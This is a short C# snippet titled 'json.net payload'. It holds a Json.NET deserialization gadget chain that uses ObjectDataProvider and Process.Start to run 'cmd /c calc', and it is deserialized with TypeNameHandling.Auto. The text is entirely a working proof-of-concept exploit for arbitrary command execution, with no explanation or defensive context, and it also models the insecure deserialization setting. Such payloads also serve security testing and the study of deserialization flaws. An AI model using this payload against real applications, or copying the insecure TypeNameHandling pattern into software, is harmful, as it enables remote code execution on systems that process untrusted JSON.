json.net payload

 string json = @"{
            '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
            'MethodName':'Start',
            'MethodParameters':{
                 '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                '$values':['cmd','/ccalc']
            },
            'ObjectInstance':{ '$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
           }";

            var result = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.Auto
            });